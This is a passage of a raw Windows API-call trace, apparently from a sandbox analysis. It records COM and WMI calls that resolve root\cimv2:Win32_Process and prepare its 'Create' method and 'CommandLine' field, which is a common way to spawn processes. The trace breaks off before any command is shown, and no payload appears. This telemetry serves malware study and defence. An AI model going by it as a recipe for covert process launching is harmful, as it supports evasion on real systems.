pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0151.884] WbemDefPath:IUnknown:Release (This=0x1a9ec4b0) returned 0x3 [0151.884] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0151.884] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0151.884] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc947b0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0151.884] WbemDefPath:IUnknown:Release (This=0x1bc947b0) returned 0x2 [0151.884] WbemDefPath:IUnknown:Release (This=0x1bc947b0) returned 0x1 [0151.884] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0151.884] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0151.884] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc947b0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc947b0) returned 0x0 [0151.884] WbemDefPath:IUnknown:AddRef (This=0x1bc947b0) returned 0x3 [0151.884] WbemDefPath:IUnknown:Release (This=0x1bc947b0) returned 0x2 [0151.884] WbemDefPath:IWbemPath:SetText (This=0x1bc947b0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0151.884] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94870, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0151.884] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc947b0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0151.884] WbemDefPath:IWbemPath:GetText (in: This=0x1bc947b0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0151.884] WbemDefPath:IWbemPath:GetText (in: This=0x1bc947b0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0151.884] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc94870) returned 0x0 [0151.884] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc947b0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0151.884] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc947b0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0151.884] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc947b0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0151.884] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc94870, uIndex=0x0, pszName="ROOT") returned 0x0 [0151.885] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc947b0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0151.885] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc947b0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0151.885] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc94870, uIndex=0x1, pszName="CIMV2") returned 0x0 [0151.885] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc94870, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0151.885] WbemDefPath:IWbemPath:SetClassName (This=0x1bc94870, Name="Win32_Process") returned 0x0 [0151.885] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc94870, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0151.885] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94870, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0151.885] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94870, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0151.885] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94870, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0151.885] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc94870, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0151.885] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94870, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0151.885] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94870, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0151.885] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94870, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0151.885] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94b70, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0151.885] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94b70, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0151.885] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94b70, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0151.885] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94870, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0151.885] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94870, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0151.886] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0151.886] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0151.886] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0151.886] IUnknown:Release (This=0x1a943398) returned 0x1 [0151.887] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1a9f6290) returned 0x0 [0151.887] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9f6290, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0151.887] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9f6290, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bc946f0) returned 0x0 [0151.887] WbemDefPath:IUnknown:Release (This=0x1a9f6290) returned 0x0 [0151.887] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc946f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bc946f0) returned 0x0 [0151.888] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc946f0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0151.888] WbemDefPath:IUnknown:AddRef (This=0x1bc946f0) returned 0x3 [0151.888] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc946f0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0151.888] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc946f0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0151.888] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc946f0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1a9f62d0) returned 0x0 [0151.888] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9f62d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0151.888] WbemDefPath:IUnknown:Release (This=0x1a9f62d0) returned 0x3 [0151.888] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0151.888] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0151.888] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc946f0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0151.888] WbemDefPath:IUnknown:Release (This=0x1bc946f0) returned 0x2 [0151.888] WbemDefPath:IUnknown:Release (This=0x1bc946f0) returned 0x1 [0151.888] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0151.888] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0151.888] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc946f0, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bc946f0) returned 0x0 [0151.888] WbemDefPath:IUnknown:AddRef (This=0x1bc946f0) returned 0x3 [0151.888] WbemDefPath:IUnknown:Release (This=0x1bc946f0) returned 0x2 [0151.888] WbemDefPath:IWbemPath:SetText (This=0x1bc946f0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0151.888] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94b70, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0151.889] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94b70, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0151.889] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94b70, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0151.889] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0151.889] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0151.889] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0151.889] IUnknown:Release (This=0x1a943398) returned 0x1 [0151.890] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1a9f61d0) returned 0x0 [0151.891] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9f61d0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0151.891] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9f61d0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc94630) returned 0x0 [0151.891] WbemDefPath:IUnknown:Release (This=0x1a9f61d0) returned 0x0 [0151.891] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94630, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc94630) returned 0x0 [0151.891] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94630, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0151.891] WbemDefPath:IUnknown:AddRef (This=0x1bc94630) returned 0x3 [0151.891] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94630, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0151.891] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94630, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0151.891] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94630, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1a9f6250) returned 0x0 [0151.891] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9f6250, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0151.891] WbemDefPath:IUnknown:Release (This=0x1a9f6250) returned 0x3 [0151.891] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0151.891] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0151.891] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94630, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0151.891] WbemDefPath:IUnknown:Release (This=0x1bc94630) returned 0x2 [0151.891] WbemDefPath:IUnknown:Release (This=0x1bc94630) returned 0x1 [0151.891] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0151.891] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0151.891] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94630, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc94630) returned 0x0 [0151.892] WbemDefPath:IUnknown:AddRef (This=0x1bc94630) returned 0x3 [0151.892] WbemDefPath:IUnknown:Release (This=0x1bc94630) returned 0x2 [0151.892] WbemDefPath:IWbemPath:SetText (This=0x1bc94630, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0151.892] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc946f0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0151.892] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94630, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0151.892] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94630, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0151.892] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94630, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0151.892] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc946f0) returned 0x0 [0151.892] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94630, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0151.892] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94630, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0151.892] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94630, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0151.892] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc946f0, uIndex=0x0, pszName="root") returned 0x0 [0151.892] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94630, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0151.892] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94630, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0151.892] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc946f0, uIndex=0x1, pszName="cimv2") returned 0x0 [0151.892] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc94630, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0151.892] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc94630, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0151.892] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc946f0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0151.892] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc946f0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0151.892] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc946f0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0151.892] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94b70, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0151.892] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94b70, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0151.892] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94b70, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0151.892] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94b70, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0151.892] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94b70, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0151.892] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94b70, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0151.892] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc946f0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0151.892] WbemDefPath:IWbemPath:GetText (in: This=0x1bc946f0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0151.892] WbemDefPath:IWbemPath:GetText (in: This=0x1bc946f0, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0151.893] WbemDefPath:IWbemPath:GetText (in: This=0x1bc946f0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0151.893] WbemDefPath:IWbemPath:GetText (in: This=0x1bc946f0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0151.893] IWbemServices:GetObject (in: This=0x1a9e20b0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bb941b0, ppCallResult=0x0) returned 0x0 [0151.895] IWbemClassObject:GetMethod (in: This=0x1bb941b0, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bb94520, ppOutSignature=0x1bb7e690*=0x1bcf3b20) returned 0x0 [0151.895] IWbemClassObject:SpawnInstance (in: This=0x1bb94520, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1aa187d0) returned 0x0 [0151.896] IWbemClassObject:Get (in: This=0x1aa187d0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fe458*=0, plFlavor=0x27fe45c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fe458*=8, plFlavor=0x27fe45c*=32) returned 0x0 [0151.896] IWbemClassObject:Get (in: This=0x1aa187d0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fe458*=8, plFlavor=0x27fe45c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fe458*=8, plFlavor=0x27fe45c*=32) returned 0x0 [0151.896] IWbemClassObject:Put 